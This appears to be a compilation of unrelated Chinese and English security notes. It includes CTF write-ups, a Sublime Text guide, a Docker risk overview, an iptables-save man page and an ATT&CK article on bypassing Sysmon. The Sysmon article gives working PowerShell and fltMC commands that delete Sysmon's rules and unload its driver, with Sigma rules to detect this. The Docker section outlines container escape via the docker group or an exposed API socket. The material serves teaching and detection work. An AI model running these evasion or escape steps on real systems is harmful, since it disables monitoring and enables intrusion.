represent numbers between -(253 - 1) and 253 - 1. > > Safe in this context refers to the ability to represent integers exactly and to correctly compare them. For example, Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2 will evaluate to true, which is mathematically incorrect. See Number.isSafeInteger() for more information. So, to hit the assertion, we need to use: ```python import requests r = requests.post('http://35.207.189.79/wee/run', json={"code": "alert(assert_number(9007199254740991 + 1))"}) print(r.text) ``` The output: ```console {"code":"alert(assert_number(9007199254740991 + 1))","result":"35C3_THE_AMOUNT_OF_INPRECISE_EXCEL_SH33TS\n"} ``` The flag: 35C3_THE_AMOUNT_OF_INPRECISE_EXCEL_SH33TS
sec-knowleage
--- title: Sublime 编辑器 --- ### 简介 Sublime Text 是一个代码编辑器(Sublime Text 3是收费软件,但可以无限期试用) Sublime 支持多种编程语言的语法高亮、拥有优秀的代码自动完成功能,还拥有代码片段(Snippet )的功能,可以将常用的代码片段保存起来,在需要时随时调用 ### 安装 window下百度搜索 `sublime` 进行下载安装 ### 插件 #### 安装 `Package Control` 按 **Ctrl+`** 调出console 粘贴下面安装代码到底部命令行并回车: > import urllib.request,os,hashlib; h = 'df21e130d211cfc94d9b0905775a7c0f' + '1e3d39e33b79698005270310898eea76'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); by = urllib.request.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); print('Error validating download (got %s instead of %s), please try manual install' % (dh, h)) if dh != h else open(os.path.join( ipp, pf), 'wb' ).write(by) 重启Sublime Text 3。 如果在Perferences->package settings中看到package control这一项,则安装成功。 可以到 [官网链接](https://packagecontrol.io/) 复制代码或下载 `Package Control.sublime-package` 放到 `sublime` 安装目录里的 `data` 里 `installed package` 文件夹(这个文件夹位置可能会不一样) #### 用Package Control安装其他插件 **第一种方法**:按下Ctrl+Shift+P调出命令面板,输入install 点击 Install Package 选项,然后在列表中搜索并选中要安装的插件 **第二种方法**:点击工具栏`Preferences`下的`Package Control`然后搜索并选中要安装的插件 #### 常用插件 **Package Control**(插件包控制插件) 安装SublimeText后必须安装的东西,插件包控制插件。 可以控制插件的查看已安装差价、安装、升级、删除等操作 **ChineseLocalization** (汉化插件) 工具栏 Help 下的 Language 选项选择语言 **Emmet** (自动补齐插件) 输入简写,按Tab键可触发效果 **Babel**(React JSX) 具有React JSX扩展名的ES6 JavaScript的语法定义(语法高亮) **Agila**(主题) 一款受欢迎的sublime Theme ### 快捷键 #### 配置代码片段 首先点击`Tools` -> `New Snippet` 显示代码如下: ```html <snippet> <content><![CDATA[ Hello, ${1:this} is a ${2:snippet}. ]]></content> <!-- Optional: Set a tabTrigger to define how to trigger the snippet --> <!-- <tabTrigger>hello</tabTrigger> --> <!-- Optional: Set a scope to limit where the snippet will trigger --> <!-- <scope>source.python</scope> --> </snippet> ``` ##### 模板说明 ```html <snippet> <content><![CDATA[ 你需要插入的代码片段${1:name} ]]></content> <!-- 可选:快捷键,利用Tab自动补全代码的功能 --> <tabTrigger>xyzzy</tabTrigger> <!-- 可选:使用范围,不填写代表对所有文件有效。附:source.css和test.html分别对应不同文件。 --> <scope>source.python</scope> <!-- 可选:在snippet菜单中的显示说明(支持中文)。如果不定义,菜单则显示当前文件的文件名。 --> <description>My Fancy Snippet</description> </snippet> ``` **小贴士**: 1. 用TAB键调用代码片段 2. 你发的这个代码片段要打上`xyzzy`按下TAB键就可以了 3. 一些文件中(如HTML格式文件)是不显示“代码片段的说明”的。直接按TAB键就可以 4. `${1:name}`表示代码插入后,光标所停留的位置,可同时插入多个。其中:name为自定义参数(可选) 5. `${2}`表示代码插入后,按Tab键,光标会根据顺序跳转到相应位置(以此类推) ##### 举个例子: ```html <snippet> <content> <![CDATA[ import React from 'react' class ${1} extends React.Component{ render(){ return ( <div className='${2}'> ${1} </div> ) } } export default ${1} ]]> </content> <tabTrigger>recl</tabTrigger> <description>React</description> <scope>source.js</scope> </snippet> ``` 创建完毕以后,保存在`\Packages\User`目录下,文件命名为`react-code`,后缀名`.sublime-snippet` #### 内置快捷键 快捷键 | 作用 ----------------------- | ---------------------------------- Ctrl+L | 选择整行(按住-继续选择下行) Ctrl+KK | 从光标处删除至行尾 Ctrl+K | Backspace 从光标处删除至行首 Ctrl+J | 合并行(已选择需要合并的多行时) Ctrl+KU | 改为大写 Ctrl+KL | 改为小写 Ctrl+D | 选择字符串 (按住-继续选择下个相同的字符串) Ctrl+M | 光标移动至括号内开始或结束的位置 Ctrl+/ | 注释整行(如已选择内容,同“Ctrl+Shift+/”效果) Ctrl+Shift+c | 转换为utf8 Ctrl+R | 搜索指定文件的函数标签 Ctrl+G | 跳转到指定行 Ctrl+KT | 折叠属性 Ctrl+K0 | 展开所有 Ctrl+U | 软撤销 Ctrl+T | 词互换 Tab | 缩进 自动完成 Shift+Tab | 去除缩进 Ctrl+F2 | 设置书签. F2 | 下一个书签 Shift+F2 | 上一个书签 Alt+F3 | 选中文本按下快捷键,即可一次性选择全部的相同文本进行同时编辑 Alt+. | 闭合当前标签 F6 | 检测语法错误 F9 | 行排序(按a-z) F11 | 全屏模式 Ctrl+Enter | 光标后插入行 Ctrl+Shift+Enter | 光标前插入行 Ctrl+Shift+[ | 折叠代码 Ctrl+Shift+] | 展开代码 Ctrl+Shift+↑ | 与上行互换 Ctrl+Shift+↓ | 与下行互换 Ctrl+Shift+A | 选择光标位置父标签对儿 Ctrl+Shift+D | 复制光标所在整行,插入在该行之前 ctrl+shift+F | 在文件夹内查找,与普通编辑器不同的地方是sublime允许添加多个文件夹进行查找 Ctrl+Shift+K | 删除整行 Ctrl+Shift+L | 鼠标选中多行(按下快捷键),即可同时编辑这些行 Ctrl+Shift+M | 选择括号内的内容(按住-继续选择父括号) Ctrl+Shift+P | 打开命令面板 Ctrl+Shift+/ | 注释已选择内容 Ctrl+PageDown(PageUp) | 文件按开启的前后顺序切换 Shift+Tab | 去除缩进 Alt+Shift+1~9(非小键盘) | 屏幕显示相等数字的小窗口 Ctrl+鼠标左键 | 可以同时选择要编辑的多处文本 shift+鼠标右键 | 列选择 Shift+鼠标右键(鼠标中键) | 可以用鼠标进行竖向多行选择 ### 参考 - 官网:[点击进入](http://www.sublimetext.com/) - Package Control:[点击进入](https://packagecontrol.io/installation) - CSDN:[点击进入](http://blog.csdn.net/Oops_Qu/article/details/72811128?locationNum=4&fps=1)
sec-knowleage
# Writeup Nuit du Hack CTF Quals 2017 Team: nazywam, msm, akrasuski1, rev, c7f.m0d3, cr01283, shalom ## Table of contents * [Mark is falling down drunk (crypto/web)](markdown)
sec-knowleage
--- title: Docker 所面临的风险 --- <center><h1>Docker 所面临的风险</h1></center> --- ## 1、容器镜像存在的风险 ### 不安全的第三方组件 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。 再比如开发者在 Django 镜像的基础上,编写了自己的 Python 代码,然后将其打包成镜像。这样如果在 Django 镜像里引用了不安全的第三方组件或者 Django 自身存在漏洞,自己打包的镜像也同样会受到影响。 ### 不安全的镜像 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。 ### 敏感信息泄露 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。 ## 2、活动中的容器存在的风险 ### 不安全的容器应用 在使用容器时,往往会需要进行端口映射,比如把 MySQL 的 3306 端口映射出来,如果 MySQL 被配置了弱密码,那就存在被利用的风险了。 除此之外,如果一个 Web 服务端口被映射出来,同时这个 Web 服务存在漏洞,那么也同样是存在风险的。 ### 不受限制的资源共享 容器运行在宿主机上,容器必然要使用宿主机的各种 CPU、内存等资源,如果没有对容器进行资源使用限制,那么就存在宿主机被资源耗尽的风险。 ### 不安全的配置与挂载 如果为容器设定了不安全的配置,会导致容器本身的隔离机制失效,容器的两大隔离机制如下: - Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离 - Linux 控制组(cgroups):实现 CPU、内存、硬盘等方面的隔离 如果设定了以下配置就会导致相应的隔离机制失效: - --privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破 - --net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破 - --pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破 - --volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破 ## 3、容器管理程序接口的风险 Docker 守护进程主要监听 UNIX socket 和 TCP socket,默认情况下,Docker 只会监听 UNIX socket ### UNIX socket UNIX socket 的风险主要在于 Docker 守护进程默认以宿主机的 root 权限运行,因此就可以借助这点进行提权或者容器逃逸。 这类风险主要有两个利用场景: - 普通用户被加到 Docker 用户组内 如果普通用户被加入到 Docker 用户组内,那么普通用户也将有权限访问 Docker UNIX socket,如果攻击者获得了这个普通用户权限,就可以借助 Docker 提权到 root 用户权限。 具体的做法可以简单描述为:使用普通用户创建一个 privileged 为 true 的容器,在该容器内挂载宿主机硬盘并写入定时任务,然后将宿主机的 root 权限反弹回来,后期将详细介绍这种方法的使用。 - UNIX socket 挂载到容器内部 有时为了实现容器内部管理容器,可能会将 Docker UNIX socket 挂载到容器内部,那么如果该容器被入侵,RT 就可以借助这个 socket 进行容器逃逸获得宿主机 root 权限。 ### TCP socket 现在 Docker 守护进程默认不会监听 TCP socket,不过有时可能用户会因为方便开启 TCP socket 的监听,一般默认监听端口是 2375 默认情况下,Docker 守护进程 TCP socket 是无加密无认证的,因此如果发现宿主机 Docker 开放了 TCP socket,就可以直接使用 docker -H 接管目标的容器 ## 4、其他风险 ### 容器网络风险 虽然默认情况下,容器内部的网络与宿主机是隔离的,但是每个容器之间是彼此互相连通的,理论上在容器之间是存在内网横向的风险的。 ### 宿主机操作系统风险 容器通常与宿主机共享内核,也就是说如果宿主机内核存在漏洞,意味着容器可能也会存在相同的漏洞。 例如如果宿主机存在脏牛漏洞,那么拿到容器权限后,使用脏牛漏洞就可以获得宿主机权限,实现容器逃逸。 ### 软件自身的漏洞 Docker 自身存在的一些漏洞,比如 CVE-2019-14271、CVE-2019-5736 等都可以导致容器逃逸,这些也都是风险点,后面会对这些漏洞进行尝试复现。 > 参考地址: > > 《云原生安全-攻防实践与体系构建》 > > https://docs.docker.com/get-started/overview/ > > https://www.freebuf.com/articles/web/258398.html > > https://cloud.tencent.com/developer/article/1428102 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# T1562-001-windows-绕过sysmon ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 ## 测试案例 众所周知,sysmon可以帮助安全人员记录很多安全事件,目前sysmon最新版本已经是10.X版本。对于攻击者来讲,他们可能需要确定目标主机是否存在sysmon。通常,攻击者是不会去检测他们入侵的主机上是否存在sysmon。 如何检测被入侵的主机是否存在sysmon,很多攻击者一般执行以下的一种操作: 枚举进程; 枚举服务; 枚举C:\Windows\System32\Drivers下的驱动; 但是,你应该知道sysmon可以实现以下功能:用户可以在其中更改可执行文件和驱动文件的名称,以便其在系统中的存在进行模糊处理。 不过攻击者可以利用fltmc.exe查看其altitude号码,sysmon的altitude号码是385201,固定不变的。 使用fltmc.exe得到的altitude号: ```dos Windows PowerShell 版权所有 (C) 2009 Microsoft Corporation。保留所有权利。 PS C:\Users\Administrator> fltmc.exe 筛选器名称 数字实例 高度 框架 ------ SysmonDrv 2 385201 0 luafv 1 135000 0 ``` 在Mimikatz中使用misc::mflt命令得到的altitude号: ```dos mimikatz # misc::mflt 0 2 385201 SysmonDrv 0 1 135000 luafv ``` 关于更多的如何检测被入侵的主机是否存在sysmon,你可以参考:<https://anquan.baidu.com/article/350,如何检测sysmon不是本文的重点.> ### **绕过Sysmon的两种方法** 目前,攻击者有2个绕过sysmon的方法,第一个是在利用sysmon进程中的盲点,第二种则是直接禁用sysmon。 #### 删除配置项 攻击者可以删除注册表中的规则项,此时, Sysmon在发现注册表被更改后,它将自动重新加载配置。由于此时没有任何安全检测规则存在,它将暂时失去防护能力,不过失效时间,取决于配置的维护方式。如果配置由Ansible,Chef或DSC等配置管理系统管理,可能需要几秒到几分钟才能将配置更改回原始状态,如果使用GPO来管理,那么当GPO更新时,可以在90分钟内恢复原始状态。为了解决这个问题,攻击者可以使用各种Windows技术(如.Net、VBS、PE文件等)创建VMI临时性Consumer监控相应的注册表项,当发现修改操作时,则会删除修改数据或者重新设置表项内容。之所以使用临时的Consumer,是因为大多数防护解决方案会重点关注正在创建或修改的WMI永久事件。 #### 卸载SysmonDrv驱动 我们可以采取的另一个操作就是卸载SysmonDrv驱动,该驱动可以为Sysmon提供关于所有磁盘操作的信息,然后将信息写入事件日志中。如前文所述,该驱动有个唯一的altitude编号,如果我们以管理员权限运行,就可以卸载该驱动,然后Sysmon基本上就会完全处于失效状态。我们可以使用`fltmc.exe`工具来卸载驱动,如下所示,我们通过altitudde编号识别出了隐藏驱动,并成功卸载该驱动。 #### 关闭sysmon服务(管理员权限) 通过windows任务管理器,管理员权限关闭sysmon服务。 ## 检测日志 sysmon日志、Windows-WMI-Activity日志,system日志 ## 测试复现 ### 删除配置项1 ```dos $query = "SELECT * FROM RegistryKeyChangeEvent " + "WHERE Hive ='HKEY_LOCAL_MACHINE' " + "AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'" Register-WMIEvent -Query $query -Action { Write-host "Sysmon config updated, deleting config." Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" } ``` 需要注意一点,此时Sysmon会恢复默认配置,因此会记录进程创建和进程终止事件。 ### 卸载SysmonDrv驱动1 ```dos Windows PowerShell 版权所有 (C) 2009 Microsoft Corporation。保留所有权利。 PS C:\Users\Administrator> fltMC.exe 筛选器名称 数字实例 高度 框架 ------------------------------ ------------- ------------ ----- SysmonDrv 2 385201 0 luafv 1 135000 0 PS C:\Users\Administrator> fltMC.exe unload SysmonDrv PS C:\Users\Administrator> fltMC.exe 筛选器名称 数字实例 高度 框架 ------------------------------ ------------- ------------ ----- luafv 1 135000 0 PS C:\Users\Administrator> ``` ### 关闭sysmon服务 任务管理器>服务>sysmon服务>停止 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 #### 删除配置项2 ```yml title: 删除sysmon配置项 description: win7 模拟测试结果 status: experimental author: 12306Bro logsource: product: windows service: WMI日志 detection: selection: EventID: 5860 keyword: '命名空间 = root\cimv2;NotificationQuery = SELECT * FROM RegistryKeyChangeEvent WHERE Hive ='HKEY_LOCAL_MACHINE' AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters';PossibleCause = Temporary' timeframe: last 1m condition: selection level: medium ``` #### 卸载SysmonDrv驱动—sysmon ```yml title: fltmc卸载sysmon description: windows server 2008 模拟测试结果 status: experimental author: 12306Bro logsource: product: windows service: sysmon detection: selection1: EventID: 1 Image: 'C:\Windows\SysWOW64\fltMC.exe' CommandLine: '"C:\Windows\system32\fltMC.exe" unload Sysmon*' ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe selection2: EventID: 255 ID: 'DriverCommunication' Description: 'Failed to retrieve events - Last error: 由于线程退出或应用程序请求,已中止 I/O 操作。' timeframe: last 1m condition: all of them level: medium ``` #### 关闭sysmon服务2 ```yml title: 以其他方式关闭sysmon服务 description: win7 模拟测试结果 status: experimental author: 12306Bro logsource: product: windows service: system、sysmon detection: selection1: EventID: 4 #sysmon日志 State: Stopped selection2: 7036 #system日志 keyword: 'Sysmon* 服务处于 停止 状态。' selection3: 7040 #system日志 keyword: 'Sysmon64 服务的启动类型从 自动启动 更改为 已禁用。' selection4: 7034 #system condition: selection or selection2 or selection3 or selection4 level: medium ``` ### 建议 暂无 ## 相关TIP [[T1562-001-win-停止windows防御服务]] [[T1562-003-linux-Histcontrol]] [[T1562-006-win-停止日志采集]] [[T1562-001-win-卸载安全工具使用的驱动程序-fltMC.exe(白名单)]] ## 参考推荐 MITRE-ATT&CK-T1562-001 <https://attack.mitre.org/techniques/T1562/001/> 审核策略相关介绍 <https://www.malwarearchaeology.com/logging> 如何规避sysmon <https://www.anquanke.com/post/id/161630>
sec-knowleage
# My First App (Web, 399p, 62 solved) Honestly we're not exactly sure what was the idea behind this task. We get a link to a webapplication which says: ``` After much research, I've found on stackoverflow.com how to protect my framework app. ``` And there is a link to `/getflag`, but there is a password prompt when we try to go there. It seems the authentication is based on some regex rather than on directory structure since going to `/getflags` also gives us authentication prompt and not 404 error. Additionally we can see that going to `/index.php` and `/index.php/` gives us the same results. This all suggests some mod_rewrite magic underneath. We simply tried to see what will happen if we do `/index.php/getflag`, which would depend on the regex rules order, and we got the flag: `EKO{fucking_m0d_r3wr1t3}`
sec-knowleage
.TH IPTABLES-SAVE 8 "Jan 04, 2001" "" "" .\" .\" Man page written by Harald Welte <laforge@gnumonks.org> .\" It is based on the iptables man page. .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. .\" .\" .SH NAME iptables-save \- 保存 IP Tables .SH "总览 SYNOPSIS" .BR "iptables-save " "[-c] [-t table]" .br .SH "描述 DESCRIPTION" .PP .B iptables-save 用来将 IP Table 转储为可以简单解析的格式,输出到标准输出 STDOUT。 可以使用 shell 的 I/O 重定向功能来写入文件 .TP \fB\-c\fR, \fB\-\-counters\fR 在输出中包含所有报文和字节计数的当前值 .TP \fB\-t\fR, \fB\-\-table\fR \fBtablename\fR .TP 限制只输出一个表。如果不指定,会输出所有可能的表 .SH BUGS 无 .SH "作者 AUTHOR" Harald Welte <laforge@gnumonks.org> .SH "参见 SEE ALSO" .BR iptables-restore "(8), " iptables "(8) " .PP iptables-HOWTO 记述了 iptables 用法的细节, NAT-HOWTO 记述了 NAT 的细节, netfilter-hacking-HOWTO 记述了内部实现的细节 . .SH "[中文版维护人]" .B 杨鹏 NetSnake <email> .br .B Poopy <email> (?) .SH "[中文版最新更新]" .B 2002.05.01 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
#include <cstdio> #include <cstdint> #include <cstdlib> #include <cstring> char bufkey_str[1000] = "I'm a big fan of septyem46c7eb3f858c137f9bdffa5e0f880e8959bb2e65"; int* bufkey = (int*) bufkey_str; unsigned int all_v5[] = { 0x363DDF8A, 0x0E3707311, 0x0E879FDD, 0x24BEA3C7, 0x9B7E408B, 0x3074528A, 0x0C6445404, 0x0A35E8A61, 0x99B3FD42, 0x4DF979E2, 0x1F8C4B0E, 0x1447FFFA, 0x8B99BBFD, 0x0AF5F33D7, 0x2F51FB8C, 0x0ADC702EB, 0x0B5A5319C, 0x33984815, 0x41535A36, 0x0E657EB0B, 0x0A4B199FF, 0x0D1C6CD38, 0x0BF583A5E, 0x930ABA46, 0x0D72C79D9, 0x6BFEFE79, 0x0C078D7C2, 0x4E7543D1, 0x4CD7A6F5, 0x86E471D0, 0x0A3AF0F50, 0x5347B2A8, 0x32C531A5, 0x6917DC30, 0x47BB052F, 0x0CBF37B13, 0x0D78FCCAA, 0x0B69B15D6, 0x13CE1C8E, 0x38FEA0C8, 0x4B0F668A, 0x680AFFA0, 0x6F6DCF36, 0x4D5B77E0, 0x0AE297FA2, 0x0F059DF29, 0x4C598EFB, 0x0E006177F, 0x60F2E72D, 0x9060FA96, 0x7B264647, 0x69982847, 0x0B2722356, 0x586C7009, 0x0A2208796, 0x1DB31180, 0x0F6CBF07E, 0x8FE301BC, }; uint64_t round(uint64_t in, int n) { uint32_t v4 = in; uint32_t v6 = in >> 32; uint32_t v5a = all_v5[n * 2]; uint32_t v5b = all_v5[n * 2 + 1]; v6 += ((v5a + bufkey[v4 & 0xf]) ^ (v4 + ((v4 >> 5) ^ (16 * v4)))); v4 += ((v5b + bufkey[v6 & 0xF]) ^ (v6 + ((v6 >> 5) ^ (16 * v6)))); uint64_t fin = ((uint64_t) v6 << 32) | v4; return fin; } uint64_t invround(uint64_t out, int n) { uint32_t v4 = out; uint32_t v6 = out >> 32; uint32_t v5a = all_v5[n * 2]; uint32_t v5b = all_v5[n * 2 + 1]; v4 -= ((v5b + bufkey[v6 & 0xF]) ^ (v6 + ((v6 >> 5) ^ (16 * v6)))); v6 -= ((v5a + bufkey[v4 & 0xf]) ^ (v4 + ((v4 >> 5) ^ (16 * v4)))); uint64_t fin = ((uint64_t) v6 << 32) | v4; return fin; } uint64_t dec(uint64_t state) { state = (state << 32) | (state >> 32); for (int j = 28; j >= 0; j--) { state = invround(state, j); } return state; } char buf[1000]; uint64_t xor1[] = { 0x4FFCD296B19AFA37, 0x0C912086E763430B7, 0x9B2B79EE86ABC820, 0x0A05322E3934CC3EA, 0x0A05322E3934CC3EA, 0x0A05322E3934CC3EA, 0x4AA443CAD9CBE242, }; uint64_t xor2[] = { 0x801135AA0BF7AC52LL, 0x8C2842785341B12ELL, 0xF0D4BB6A879413EELL, 0x1498DC7D3336515CLL, 0x310FE5B80BE8AD86LL, 0x5603371B3DEEAFD4LL, 0, }; int main() { for (int i = 0; i < 7; i++) { uint64_t state = xor1[i] ^ xor2[i]; state = dec(state); *(uint64_t*)buf = state; printf("%s", buf); } printf("\n"); }
sec-knowleage